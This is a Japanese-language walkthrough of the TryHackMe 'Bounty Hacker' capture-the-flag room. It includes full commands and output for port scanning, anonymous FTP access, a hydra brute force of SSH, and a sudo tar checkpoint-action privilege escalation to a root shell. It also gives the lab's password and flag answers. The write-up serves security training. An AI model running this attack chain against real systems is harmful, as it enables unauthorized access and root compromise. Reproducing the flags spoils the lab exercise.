はじめに
TryHackMeのルーム「Bounty Hacker」のWalkThroughです。
ルームの概要・WalkThroughの構成
難易度EasyのChallengesルームとなっています。
バーにいる賞金稼ぎに自分がエリートハッカーだということを証明するというストーリーらしいです。
主な目標・攻略の流れ
今回の攻略の流れは以下の通りです。
- Recon/Enum(偵察・列挙)
- GainAccess(侵入)
- PrivEsc(権限昇格)
目標はuser.txt
とroot.txt
にあるフラグの取得です。
それでは始めていきましょう。
Try Harder!
環境
解説の前に今回のIPアドレスを載せておきます。参考にする際は適宜置き換えて進めてください。
ローカルマシン(VPN): 10.9.1.210
ターゲットマシン: 10.10.100.80
また、今回ローカルマシンはKali 2024.4を使用し、作業ディレクトリは~/thm/Bounty-Hacker
とします。
解答はノートに載せ、(No answer needed)は解答が空欄であることを示します。
コードブロック内で、<○○○>
のように<>の中に日本語の指示があれば、中の指示に従ってください。
Task1. Living up to the title.
Q2. Find open ports on the machine
Recon/Enum
nmapでポートスキャンを実行してみましょう。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.100.80
(中略)
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat nmap-1.txt
# Nmap 7.95 scan initiated Fri Jan 17 22:50:01 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.100.80
Nmap scan report for 10.10.100.80
Host is up, received user-set (0.25s latency).
Scanned at 2025-01-17 22:50:02 JST for 27s
Not shown: 967 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
20/tcp closed ftp-data reset ttl 63
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
(中略)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 17 22:50:29 2025 -- 1 IP address (1 host up) scanned in 27.92 seconds
次のような手掛かりが見つかりました。
-
21
ポートでftpが動いている。anonymous
でログインしたら何かヒントがあるかも? -
22
ポートでSSHが動いている。ユーザー名とパスワードがわかればアクセスできるが、今のところは情報が少ない? -
80
ポートでApacheが動いている。Webサイトに何か手掛かりがあるかも?
A. (No answer needed)
Q3. Who wrote the task list?
今回は1.について探索してみようと思います。
ftpでanonymous
としてログインできるか試してみます。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ ftp 10.10.100.80
Connected to 10.10.100.80.
220 (vsFTPd 3.0.3)
Name (10.10.100.80:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
アクセスできました。何があるかのぞいてみましょうか。
ftp> ls
229 Entering Extended Passive Mode (|||30045|)
Passiveモードになってしまいました。どうやらpassive
コマンドを実行すればよいそうです。
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
今度はちゃんと実行できました。2つ気になるファイルがありますね。
せっかくなのでもらっていきましょう。
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |****************************************************| 418 5.82 KiB/s 00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (1.29 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |****************************************************| 68 0.89 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.20 KiB/s)
ダウンロードできたら、exit
で閉じておきます。
それでは、先ほどの2つのファイルを確認してみましょう。まずはtask.txt
から。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin
書いてある内容はさっぱりですが、lin
という人が書いたということはわかりました。
A. lin
Q4. What service can you bruteforce with the text file found?
もう一つのlocks.txt
も確認しておきましょう。ファイルサイズが少し大きいような感じがするのでhead
を通してあげます。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat locks.txt | head
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
何やら辞書ファイルのようなものが出てきました。これを使えばlin
のパスワードを割り出せそうです。
A. SSH
Q5. What is the users password?
GainAccess
hydra
を使って、ssh
のパスワードを辞書攻撃してみます。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ hydra -l lin -P locks.txt ssh://10.10.100.80 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 23:11:11
[DATA] max 4 tasks per 1 server, overall 4 tasks, 26 login tries (l:1/p:26), ~7 tries per task
[DATA] attacking ssh://10.10.100.80:22/
[22][ssh] host: 10.10.100.80 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 23:11:22
lin
のパスワードはRedDr4gonSynd1cat3
だということがわかりました。
A. RedDr4gonSynd1cat3
Q6. user.txt
割り出したパスワードを使って、SSHにログインしていきます。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ ssh lin@10.10.100.80
The authenticity of host '10.10.100.80 (10.10.100.80)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.100.80' (ED25519) to the list of known hosts.
lin@10.10.100.80's password: <linのパスワード(RedDr4gonSynd1cat3)を入力>
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
83 packages can be updated.
0 updates are security updates.
Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$
ログインできました!この調子でuser.txt
を探してみましょう。
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
これで1つ目のフラグゲットです!
A. THM{CR1M3_SyNd1C4T3}
Q7. root.txt
PrivEsc
権限昇格してroot
権限を取得し、root.txt
を取っていきます。
まずはSUIDの不備から探してみましょう。
lin@bountyhacker:~/Desktop$ find / -perm -u=s 2> /dev/null
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/snapd/snap-confine
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/bin/umount
そこまで怪しげなものはなさそう。
sudo
も調べてみましょう。
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin: <linのパスワード(RedDr4gonSynd1cat3)を入力>
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lin may run the following commands on bountyhacker:
(root) /bin/tar
明らかな穴がありますね。
/bin/tar
がroot
として実行できるようです。これを利用してroot
権限を取得してみましょう。
GTFOBinsで調べてみます。
ありました。そのまま実行しても良さそうなのでやってみましょう。
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
成功しました!あとはroot.txt
を見つけるだけです!
# pwd
/home/lin/Desktop
# cd /root
# ls
root.txt
# cat root.txt
THM{80UN7Y_h4cK3r}
2つのフラグをゲットしたので攻略完了です。ここまでお疲れさまでした!
A. THM{80UN7Y_h4cK3r}
おまけ
最初のポートスキャンで、Apacheが動いていたのを覚えていますか?今回はおまけでそちらの探索もある程度してみました。(ちなみに何も見つかりませんでした...(´・ω・`))
Webサイトにアクセスしてみます(http://10.10.100.80
)。
誰かの会話らしき文が表示されています。おそらくストーリーに関連したものですね。
GoBusterで隠しディレクトリも探索してみます。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ gobuster dir -u http://10.10.100.80 -w /usr/share/dirb/wordlists/big.txt -o gobuster-1.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ cat gobuster-1.txt
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/images (Status: 301) [Size: 313] [--> http://10.10.100.80/images/]
/server-status (Status: 403) [Size: 277]
/images
というディレクトリが見つかりました。
先ほどのページに載っていた写真があります。もしかしたらステガノグラフィなどが隠れていたりしそうなので調べてみましょう。
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ wget http://10.10.100.80/images/crew.jpg
--2025-01-17 23:37:18-- http://10.10.100.80/images/crew.jpg
10.10.100.80:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 622303 (608K) [image/jpeg]
`crew.jpg' に保存中
crew.jpg 100%[===============================>] 607.72K 115KB/s 時間 5.3s
2025-01-17 23:37:23 (115 KB/s) - `crew.jpg' へ保存完了 [622303/622303]
┌──(kali㉿kali)-[~/thm/Bounty-Hacker]
└─$ steghide extract -sf crew.jpg
Enter passphrase: <何も入力せずにEnter>
steghide: could not extract any data with that passphrase!
パスフレーズをlin
にしたりRedDr4gonSynd1cat3
にしたり色々試したのですがだめですね。
それ以外にも何かありそうですが、所詮おまけなのでここら辺で終わりにしておきます。